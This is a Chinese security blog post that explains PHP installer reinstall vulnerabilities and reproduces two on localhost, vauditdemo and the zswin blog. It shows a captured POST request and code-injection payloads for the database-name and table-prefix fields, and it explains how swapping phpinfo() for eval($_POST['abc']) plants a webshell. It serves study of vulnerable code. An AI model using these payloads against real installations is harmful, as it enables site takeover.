May 18th 2019, 12:00:00 am
重装漏洞
根据大佬们的总结,重装漏洞可以以下几种类型:
自动删除这个安装文件
通过生成一个lock文件来判断程序是否安装过
根本无验证
安装完成后不会自动删除文件,又不会生成lock判断是否安装过
安装file
直接用GET提交step绕过,直接进入下一步
变量覆盖导致重装
可以GET,POST,COOKIE 任意提交一个变量名$insLockfile,给其赋空值,覆盖掉$insLockfile,从而让file_exists为false就不会退出
判断lock后,无exit
判断是否存在lock文件,如果存在lock文件,就会header到index.php,但是header后并没有exit,所以 并不会退出,类似的还有javascript弹个框
解析漏洞
在安装完成后会将install.php 重命名为index.php.bak,但是由于Apache的解析漏洞:如果无法识别到最后一个后缀的话,就会向上解析,那么就又变成了php了,然后结合安装时的变量覆盖又成重装了。
满足一些条件不会退出的
这次复现的两个漏洞,都属于第五类。当页面跳转到主页之后,原来的php进程依然存在,导致可以重装,而当配置信息没有经过过滤而被直接写入了文件当中,就可能会导致getshell。寻找此类漏洞应该尝试去跟踪配置信息的最终去处,并检查是否有过滤。通过构造闭合语句利用漏洞。
复现 vauditdemo重装漏洞
漏洞复现
访问 http://127.0.0.1/install/install.php
提交数据库信息,用brupsuite抓包。(为了便于演示,我将header()语句注释了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /install/install.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/install/install.php Content-Type: application/x-www-form-urlencoded Content-Length: 84 Connection: close Cookie: PHPSESSID=jfjge50g22ieqm7ib5ia1quf73 Upgrade-Insecure-Requests: 1
dbhost=localhost&dbuser=root&dbpass=root&dbname=vauditdemo&Submit=%E5%AE%89%E8%A3%9D
|
将dbname修改为:
testdb;-- -";phpinfo();//
提交。
跳转到index之后可以看到phpinfo()信息
复现成功
代码分析
平台的install.php安装页面, 安装之前会有一段验证是否已经安装的判断语句:
1 2 3
| if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) { header( "Location: ../index.php" ); }
|
判断安装生成的lock文件是否存在,如果存在,就重定向到index.php
但是这里存在一个错误,当页面重定向到index之后,并没有执行exit语句来结束进程,所以install.php的进程一直存在。这时如果用brupsuite抓包,提交的数据会被判断语句之后的代码所执行,就会导致重装漏洞。
判断语句后,获取了一些环境信息之后就通过POST方法获取数据库的信息。
(代码经过省略)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| if ( $_POST ) {
...
$dbhost = $_POST["dbhost"]; $dbuser = $_POST["dbuser"]; $dbpass = $_POST["dbpass"]; $dbname = $_POST["dbname"];
...
mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
$str_tmp="<?php\r\n"; $str_end="?>"; $str_tmp.="\r\n"; $str_tmp.="error_reporting(0);\r\n"; $str_tmp.="\r\n"; $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n"; $str_tmp.="\r\n"; $str_tmp.="include_once('../sys/lib.php');\r\n"; $str_tmp.="\r\n"; $str_tmp.="\$host=\"$dbhost\"; \r\n"; $str_tmp.="\$username=\"$dbuser\"; \r\n"; $str_tmp.="\$password=\"$dbpass\"; \r\n"; $str_tmp.="\$database=\"$dbname\"; \r\n"; $str_tmp.="\r\n"; $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n"; $str_tmp.="mysql_query('set names utf8',\$conn);\r\n"; $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n"; $str_tmp.="if (!\$conn)\r\n"; $str_tmp.="{\r\n"; $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n"; $str_tmp.="\texit;\r\n"; $str_tmp.="}\r\n"; $str_tmp.="\r\n"; $str_tmp.="session_start();\r\n"; $str_tmp.="\r\n"; $str_tmp.=$str_end;
$fp=fopen( "../sys/config.php", "w" ); fwrite( $fp, $str_tmp ); fclose( $fp );
|
可以看到,页面通过所提交的dbhost, dbuser, dbpass, dbname来获取数据库基本信息。
在判断数据库信息是否符合安装条件之后,页面将一段判断是否已经安装的php脚本写入到config.php里。
问题出在其中的一条语句:
1
| $str_tmp.="\$database=\"$dbname\"; \r\n";
|
可知,dbname是可控的。
当我们将dbname设置为:
testdb;-- -";phpinfo();//
-- - 是为了注释掉后面的sql语句
"; 闭合php语句
// 注释掉后面的php语句
config.php里的语句就会变成:
1
| $database="testdb; -- -"; phpinfo();
|
也就会执行phpinfo(), 当我们把phpinfo()修改为:eval($_POST['abc'])
就可以直接getshell;
zswin博客重装漏洞 getshell 复现
在百度上直接搜到的一个重装漏洞,博客系统有点老了,但是拿来学习还是不错的。
参考:https://shuimugan.com/bug/view?bug_no=119025
漏洞复现
在已经安装好的博客,直接访问:
http://127.0.0.1/zwin/install.php?m=install&c=index&a=setconf
不会跳转到主页,直接进入安装向导页面。
其他地方正常填写,将数据表前缀改为:
zs_');phpinfo();//
点击下一步,数据库就可以创建成功
之后再访问:
http://127.0.0.1/zwin/app/user/conf/config.php
可以看到phpinfo(),把phpinfo()修改为:eval($_POST['abc'])
就可以直接getshell;
漏洞复现成功
代码分析
存在漏洞的页面:
install/install/controller/indexcontroller.class.php
页面开头存在一个index()方法用于判断是否安装成功:
1 2 3 4 5
| public function index(){ if (is_file('./Data/install.lock')) { header('Location: ./index.php'); exit; }
|
根据参考文章的说法:
但是这个不是类的初始化函数所以不影响其他方法的使用。
我在页面当中没有找到引用index()方法的语句,应该是ThinkPHP框架的一些固定用法吧。这个问题等后面学习了ThinkPHP框架后再说。
继续往下看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function finish_done() { ...
$auth = build_auth_key(); $config_data['DB_TYPE'] = $temp_info['db_type']; $config_data['DB_HOST'] = $temp_info['db_host']; $config_data['DB_NAME'] = $temp_info['db_name']; $config_data['DB_USER'] = $temp_info['db_user']; $config_data['DB_PWD'] = $temp_info['db_pass']; $config_data['DB_PORT'] = $temp_info['db_port']; $config_data['DB_PREFIX'] = $<strong>temp_info</strong>['db_prefix']; $db = Db::getInstance($config_data); $config_data['WEB_MD5'] = $auth; $conf = write_config($config_data); ... }
|
可知,在finish_done()方法中,有一个函数为write_config(),所传递的参数为数据库配置信息。
而这些数据配置信息,都没有经过过滤或检查。都是直接接收POST数据来进行传递的。
跟踪这个函数至:install/install/common/function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function write_config($config, $auth){ if(is_array($config)){ $conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl'); $user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl'); foreach ($config as $name => $value) { $conf = str_replace("[{$name}]", $value, $conf); $user = str_replace("[{$name}]", $value, $user); }
file_put_contents('./App/Common/Conf/config.php', $conf); file_put_contents('./App/User/Conf/config.php', $user); return ''; } }
|
可知,函数的功能是读取sqldata目录下的两个配置文件,将传递进来的数据库配置信息分别写入到两个config.php里去。
先看一下user.sql:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
define('UC_APP_ID', 1); define('UC_API_TYPE', 'Model'); define('UC_AUTH_KEY', '[WEB_MD5]'); define('UC_DB_DSN', '[DB_TYPE]://[DB_USER]:[DB_PWD]@[DB_HOST]:[DB_PORT]/[DB_NAME]'); define('UC_TABLE_PREFIX', '[DB_PREFIX]'); ?>
|
除了DB_NAME, DB_PREFIX可以修改以外,修改其他的数据配置会导致数据库创建失败。
所以,这里可以利用的就存在两处
将DB_NAME赋值为:
zswin1]');phpinfo();//
或者将DB_PREFIX赋值为:
zs_');phpinfo();//
都可以利用成功。
/App/User/Conf/config.php就会变成:
1 2 3 4 5
| define('UC_DB_DSN', 'mysql://root:root@127.0.0.1:3306/zswin1]');phpinfo();
define('UC_TABLE_PREFIX', 'zs_');phpinfo();
|
sqldata/conf.tpl也是一样的步骤,只不过user.tql可以更容易闭合语句。
遇到的问题
- 对框架的结构还是不太了解,是否调用,如何调用也不太清楚。需要去学习一下框架的基本知识。